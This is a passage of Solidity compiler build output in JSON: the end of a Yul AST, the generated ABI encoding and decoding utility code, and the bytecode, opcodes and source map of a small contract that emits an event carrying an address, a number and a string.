"src": "4921:1:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4912:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4912:11:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "4906:5:1"
},
"nodeType": "YulFunctionCall",
"src": "4906:18:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "4886:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4886:39:1"
},
"nodeType": "YulExpressionStatement",
"src": "4886:39:1"
}
]
},
"condition": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "4833:1:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "4836:6:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "4830:2:1"
},
"nodeType": "YulFunctionCall",
"src": "4830:13:1"
},
"nodeType": "YulForLoop",
"post": {
"nodeType": "YulBlock",
"src": "4844:19:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4846:15:1",
"value": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "4855:1:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4858:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4851:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4851:10:1"
},
"variableNames": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "4846:1:1"
}
]
}
]
},
"pre": {
"nodeType": "YulBlock",
"src": "4826:3:1",
"statements": []
},
"src": "4822:113:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4969:76:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "5019:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "5024:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5015:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5015:16:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5033:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "5008:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5008:27:1"
},
"nodeType": "YulExpressionStatement",
"src": "5008:27:1"
}
]
},
"condition": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "4950:1:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "4953:6:1"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "4947:2:1"
},
"nodeType": "YulFunctionCall",
"src": "4947:13:1"
},
"nodeType": "YulIf",
"src": "4944:101:1"
}
]
},
"name": "copy_memory_to_memory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nodeType": "YulTypedName",
"src": "4775:3:1",
"type": ""
},
{
"name": "dst",
"nodeType": "YulTypedName",
"src": "4780:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "4785:6:1",
"type": ""
}
],
"src": "4744:307:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5149:272:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "5159:53:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "5206:5:1"
}
],
"functionName": {
"name": "array_length_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "5173:32:1"
},
"nodeType": "YulFunctionCall",
"src": "5173:39:1"
},
"variables": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "5163:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "5221:78:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "5287:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "5292:6:1"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "5228:58:1"
},
"nodeType": "YulFunctionCall",
"src": "5228:71:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "5221:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "5334:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5341:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5330:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5330:16:1"
},
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "5348:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "5353:6:1"
}
],
"functionName": {
"name": "copy_memory_to_memory",
"nodeType": "YulIdentifier",
"src": "5308:21:1"
},
"nodeType": "YulFunctionCall",
"src": "5308:52:1"
},
"nodeType": "YulExpressionStatement",
"src": "5308:52:1"
},
{
"nodeType": "YulAssignment",
"src": "5369:46:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "5380:3:1"
},
{
"arguments": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "5407:6:1"
}
],
"functionName": {
"name": "round_up_to_mul_of_32",
"nodeType": "YulIdentifier",
"src": "5385:21:1"
},
"nodeType": "YulFunctionCall",
"src": "5385:29:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5376:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5376:39:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "5369:3:1"
}
]
}
]
},
"name": "abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "5130:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "5137:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "5145:3:1",
"type": ""
}
],
"src": "5057:364:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5601:359:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "5611:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5623:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5634:2:1",
"type": "",
"value": "96"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5619:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5619:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "5611:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "5691:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5704:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5715:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5700:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5700:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "5647:43:1"
},
"nodeType": "YulFunctionCall",
"src": "5647:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "5647:71:1"
},
{
"expression": {
"arguments": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "5772:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5785:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5796:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5781:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5781:18:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "5728:43:1"
},
"nodeType": "YulFunctionCall",
"src": "5728:72:1"
},
"nodeType": "YulExpressionStatement",
"src": "5728:72:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5821:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5832:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5817:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5817:18:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "5841:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5847:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "5837:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5837:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "5810:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5810:48:1"
},
"nodeType": "YulExpressionStatement",
"src": "5810:48:1"
},
{
"nodeType": "YulAssignment",
"src": "5867:86:1",
"value": {
"arguments": [
{
"name": "value2",
"nodeType": "YulIdentifier",
"src": "5939:6:1"
},
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "5948:4:1"
}
],
"functionName": {
"name": "abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "5875:63:1"
},
"nodeType": "YulFunctionCall",
"src": "5875:78:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "5867:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_address_t_uint256_t_string_memory_ptr__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "5557:9:1",
"type": ""
},
{
"name": "value2",
"nodeType": "YulTypedName",
"src": "5569:6:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "5577:6:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "5585:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "5596:4:1",
"type": ""
}
],
"src": "5427:533:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_address(value)\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() {\n revert(0, 0)\n }\n\n function revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae() {\n revert(0, 0)\n }\n\n function round_up_to_mul_of_32(value) -> result {\n result := and(add(value, 31), not(31))\n }\n\n function panic_error_0x41() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x41)\n revert(0, 0x24)\n }\n\n function finalize_allocation(memPtr, size) {\n let newFreePtr := add(memPtr, round_up_to_mul_of_32(size))\n // protect against overflow\n if or(gt(newFreePtr, 0xffffffffffffffff), lt(newFreePtr, memPtr)) { panic_error_0x41() }\n mstore(64, newFreePtr)\n }\n\n function allocate_memory(size) -> memPtr {\n memPtr := allocate_unbounded()\n finalize_allocation(memPtr, size)\n }\n\n function array_allocation_size_t_string_memory_ptr(length) -> size {\n // Make sure we can allocate memory without overflow\n if gt(length, 0xffffffffffffffff) { panic_error_0x41() }\n\n size := round_up_to_mul_of_32(length)\n\n // add length slot\n size := add(size, 0x20)\n\n }\n\n function copy_calldata_to_memory(src, dst, length) {\n calldatacopy(dst, src, length)\n // clear end\n mstore(add(dst, length), 0)\n }\n\n function abi_decode_available_length_t_string_memory_ptr(src, length, end) -> array {\n array := allocate_memory(array_allocation_size_t_string_memory_ptr(length))\n mstore(array, length)\n let dst := add(array, 0x20)\n if gt(add(src, length), end) { revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae() }\n copy_calldata_to_memory(src, dst, length)\n }\n\n // string\n function abi_decode_t_string_memory_ptr(offset, end) -> array {\n if iszero(slt(add(offset, 0x1f), end)) { revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() }\n let length := calldataload(offset)\n array := abi_decode_available_length_t_string_memory_ptr(add(offset, 0x20), length, end)\n }\n\n function abi_decode_tuple_t_addresst_uint256t_string_memory_ptr(headStart, dataEnd) -> value0, value1, value2 {\n if slt(sub(dataEnd, headStart), 96) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := 32\n\n value1 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := calldataload(add(headStart, 64))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value2 := abi_decode_t_string_memory_ptr(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function array_length_t_string_memory_ptr(value) -> length {\n\n length := mload(value)\n\n }\n\n function array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos := add(pos, 0x20)\n }\n\n function copy_memory_to_memory(src, dst, length) {\n let i := 0\n for { } lt(i, length) { i := add(i, 32) }\n {\n mstore(add(dst, i), mload(add(src, i)))\n }\n if gt(i, length)\n {\n // clear end\n mstore(add(dst, length), 0)\n }\n }\n\n function abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack(value, pos) -> end {\n let length := array_length_t_string_memory_ptr(value)\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, length)\n copy_memory_to_memory(add(value, 0x20), pos, length)\n end := add(pos, round_up_to_mul_of_32(length))\n }\n\n function abi_encode_tuple_t_address_t_uint256_t_string_memory_ptr__to_t_address_t_uint256_t_string_memory_ptr__fromStack_reversed(headStart , value2, value1, value0) -> tail {\n tail := add(headStart, 96)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value1, add(headStart, 32))\n\n mstore(add(headStart, 64), sub(tail, headStart))\n tail := abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack(value2, tail)\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b506004361061002b5760003560e01c8063a1f2e8aa14610030575b600080fd5b61004a6004803603810190610045919061027a565b61004c565b005b7f4e3358e5bdb38f499a83fbcd33d16343569f3b6fe53021022dede6364017b4a883838360405161007f9392919061038f565b60405180910390a1505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100cb826100a0565b9050919050565b6100db816100c0565b81146100e657600080fd5b50565b6000813590506100f8816100d2565b92915050565b6000819050919050565b610111816100fe565b811461011c57600080fd5b50565b60008135905061012e81610108565b92915050565b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6101878261013e565b810181811067ffffffffffffffff821117156101a6576101a561014f565b5b80604052505050565b60006101b961008c565b90506101c5828261017e565b919050565b600067ffffffffffffffff8211156101e5576101e461014f565b5b6101ee8261013e565b9050602081019050919050565b82818337600083830152505050565b600061021d610218846101ca565b6101af565b90508281526020810184848401111561023957610238610139565b5b6102448482856101fb565b509392505050565b600082601f83011261026157610260610134565b5b813561027184826020860161020a565b91505092915050565b60008060006060848603121561029357610292610096565b5b60006102a1868287016100e9565b93505060206102b28682870161011f565b925050604084013567ffffffffffffffff8111156102d3576102d261009b565b5b6102df8682870161024c565b9150509250925092565b6102f2816100c0565b82525050565b610301816100fe565b82525050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610341578082015181840152602081019050610326565b83811115610350576000848401525b50505050565b600061036182610307565b61036b8185610312565b935061037b818560208601610323565b6103848161013e565b840191505092915050565b60006060820190506103a460008301866102e9565b6103b160208301856102f8565b81810360408301526103c38184610356565b905094935050505056fea2646970667358221220158b8775f08c445103cefb1e553d025a58d31fc663812c5769ec3716bdce7f6364736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0xA1F2E8AA EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x4A PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x45 SWAP2 SWAP1 PUSH2 0x27A JUMP JUMPDEST PUSH2 0x4C JUMP JUMPDEST STOP JUMPDEST PUSH32 0x4E3358E5BDB38F499A83FBCD33D16343569F3B6FE53021022DEDE6364017B4A8 DUP4 DUP4 DUP4 PUSH1 0x40 MLOAD PUSH2 0x7F SWAP4 SWAP3 SWAP2 SWAP1 PUSH2 0x38F JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 LOG1 POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xCB DUP3 PUSH2 0xA0 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xDB DUP2 PUSH2 0xC0 JUMP JUMPDEST DUP2 EQ PUSH2 0xE6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0xF8 DUP2 PUSH2 0xD2 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x111 DUP2 PUSH2 0xFE JUMP JUMPDEST DUP2 EQ PUSH2 0x11C JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x12E DUP2 PUSH2 0x108 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH1 0x1F NOT PUSH1 0x1F DUP4 ADD AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x41 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH2 0x187 DUP3 PUSH2 0x13E JUMP JUMPDEST DUP2 ADD DUP2 DUP2 LT PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT OR ISZERO PUSH2 0x1A6 JUMPI PUSH2 0x1A5 PUSH2 0x14F JUMP JUMPDEST JUMPDEST DUP1 PUSH1 0x40 MSTORE POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1B9 PUSH2 0x8C JUMP JUMPDEST SWAP1 POP PUSH2 0x1C5 DUP3 DUP3 PUSH2 0x17E JUMP JUMPDEST SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH8 0xFFFFFFFFFFFFFFFF DUP3 GT ISZERO PUSH2 0x1E5 JUMPI PUSH2 0x1E4 PUSH2 0x14F JUMP JUMPDEST JUMPDEST PUSH2 0x1EE DUP3 PUSH2 0x13E JUMP JUMPDEST SWAP1 POP PUSH1 0x20 DUP2 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST DUP3 DUP2 DUP4 CALLDATACOPY PUSH1 0x0 DUP4 DUP4 ADD MSTORE POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x21D PUSH2 0x218 DUP5 PUSH2 0x1CA JUMP JUMPDEST PUSH2 0x1AF JUMP JUMPDEST SWAP1 POP DUP3 DUP2 MSTORE PUSH1 0x20 DUP2 ADD DUP5 DUP5 DUP5 ADD GT ISZERO PUSH2 0x239 JUMPI PUSH2 0x238 PUSH2 0x139 JUMP JUMPDEST JUMPDEST PUSH2 0x244 DUP5 DUP3 DUP6 PUSH2 0x1FB JUMP JUMPDEST POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 PUSH1 0x1F DUP4 ADD SLT PUSH2 0x261 JUMPI PUSH2 0x260 PUSH2 0x134 JUMP JUMPDEST JUMPDEST DUP2 CALLDATALOAD PUSH2 0x271 DUP5 DUP3 PUSH1 0x20 DUP7 ADD PUSH2 0x20A JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 PUSH1 0x60 DUP5 DUP7 SUB SLT ISZERO PUSH2 0x293 JUMPI PUSH2 0x292 PUSH2 0x96 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x2A1 DUP7 DUP3 DUP8 ADD PUSH2 0xE9 JUMP JUMPDEST SWAP4 POP POP PUSH1 0x20 PUSH2 0x2B2 DUP7 DUP3 DUP8 ADD PUSH2 0x11F JUMP JUMPDEST SWAP3 POP POP PUSH1 0x40 DUP5 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x2D3 JUMPI PUSH2 0x2D2 PUSH2 0x9B JUMP JUMPDEST JUMPDEST PUSH2 0x2DF DUP7 DUP3 DUP8 ADD PUSH2 0x24C JUMP JUMPDEST SWAP2 POP POP SWAP3 POP SWAP3 POP SWAP3 JUMP JUMPDEST PUSH2 0x2F2 DUP2 PUSH2 0xC0 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x301 DUP2 PUSH2 0xFE JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x341 JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x326 JUMP JUMPDEST DUP4 DUP2 GT ISZERO PUSH2 0x350 JUMPI PUSH1 0x0 DUP5 DUP5 ADD MSTORE JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x361 DUP3 PUSH2 0x307 JUMP JUMPDEST PUSH2 0x36B DUP2 DUP6 PUSH2 0x312 JUMP JUMPDEST SWAP4 POP PUSH2 0x37B DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x323 JUMP JUMPDEST PUSH2 0x384 DUP2 PUSH2 0x13E JUMP JUMPDEST DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x60 DUP3 ADD SWAP1 POP PUSH2 0x3A4 PUSH1 0x0 DUP4 ADD DUP7 PUSH2 0x2E9 JUMP JUMPDEST PUSH2 0x3B1 PUSH1 0x20 DUP4 ADD DUP6 PUSH2 0x2F8 JUMP JUMPDEST DUP2 DUP2 SUB PUSH1 0x40 DUP4 ADD MSTORE PUSH2 0x3C3 DUP2 DUP5 PUSH2 0x356 JUMP JUMPDEST SWAP1 POP SWAP5 SWAP4 POP POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 ISZERO DUP12 DUP8 PUSH22 0xF08C445103CEFB1E553D025A58D31FC663812C5769EC CALLDATACOPY AND 0xBD 0xCE PUSH32 0x6364736F6C634300080C00330000000000000000000000000000000000000000 ",
"sourceMap": "690:240:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;772:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;891:30;895:7;904;913;891:30;;;;;;;;:::i;:::-;;;;;;;;772:156;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:77::-;878:7;907:5;896:16;;841:77;;;:::o;924:122::-;997:24;1015:5;997:24;:::i;:::-;990:5;987:35;977:63;;1036:1;1033;1026:12;977:63;924:122;:::o;1052:139::-;1098:5;1136:6;1123:20;1114:29;;1152:33;1179:5;1152:33;:::i;:::-;1052:139;;;;:::o;1197:117::-;1306:1;1303;1296:12;1320:117;1429:1;1426;1419:12;1443:102;1484:6;1535:2;1531:7;1526:2;1519:5;1515:14;1511:28;1501:38;;1443:102;;;:::o;1551:180::-;1599:77;1596:1;1589:88;1696:4;1693:1;1686:15;1720:4;1717:1;1710:15;1737:281;1820:27;1842:4;1820:27;:::i;:::-;1812:6;1808:40;1950:6;1938:10;1935:22;1914:18;1902:10;1899:34;1896:62;1893:88;;;1961:18;;:::i;:::-;1893:88;2001:10;1997:2;1990:22;1780:238;1737:281;;:::o;2024:129::-;2058:6;2085:20;;:::i;:::-;2075:30;;2114:33;2142:4;2134:6;2114:33;:::i;:::-;2024:129;;;:::o;2159:308::-;2221:4;2311:18;2303:6;2300:30;2297:56;;;2333:18;;:::i;:::-;2297:56;2371:29;2393:6;2371:29;:::i;:::-;2363:37;;2455:4;2449;2445:15;2437:23;;2159:308;;;:::o;2473:154::-;2557:6;2552:3;2547;2534:30;2619:1;2610:6;2605:3;2601:16;2594:27;2473:154;;;:::o;2633:412::-;2711:5;2736:66;2752:49;2794:6;2752:49;:::i;:::-;2736:66;:::i;:::-;2727:75;;2825:6;2818:5;2811:21;2863:4;2856:5;2852:16;2901:3;2892:6;2887:3;2883:16;2880:25;2877:112;;;2908:79;;:::i;:::-;2877:112;2998:41;3032:6;3027:3;3022;2998:41;:::i;:::-;2717:328;2633:412;;;;;:::o;3065:340::-;3121:5;3170:3;3163:4;3155:6;3151:17;3147:27;3137:122;;3178:79;;:::i;:::-;3137:122;3295:6;3282:20;3320:79;3395:3;3387:6;3380:4;3372:6;3368:17;3320:79;:::i;:::-;3311:88;;3127:278;3065:340;;;;:::o;3411:799::-;3498:6;3506;3514;3563:2;3551:9;3542:7;3538:23;3534:32;3531:119;;;3569:79;;:::i;:::-;3531:119;3689:1;3714:53;3759:7;3750:6;3739:9;3735:22;3714:53;:::i;:::-;3704:63;;3660:117;3816:2;3842:53;3887:7;3878:6;3867:9;3863:22;3842:53;:::i;:::-;3832:63;;3787:118;3972:2;3961:9;3957:18;3944:32;4003:18;3995:6;3992:30;3989:117;;;4025:79;;:::i;:::-;3989:117;4130:63;4185:7;4176:6;4165:9;4161:22;4130:63;:::i;:::-;4120:73;;3915:288;3411:799;;;;;:::o;4216:118::-;4303:24;4321:5;4303:24;:::i;:::-;4298:3;4291:37;4216:118;;:::o;4340:::-;4427:24;4445:5;4427:24;:::i;:::-;4422:3;4415:37;4340:118;;:::o;4464:99::-;4516:6;4550:5;4544:12;4534:22;;4464:99;;;:::o;4569:169::-;4653:11;4687:6;4682:3;4675:19;4727:4;4722:3;4718:14;4703:29;;4569:169;;;;:::o;4744:307::-;4812:1;4822:113;4836:6;4833:1;4830:13;4822:113;;;4921:1;4916:3;4912: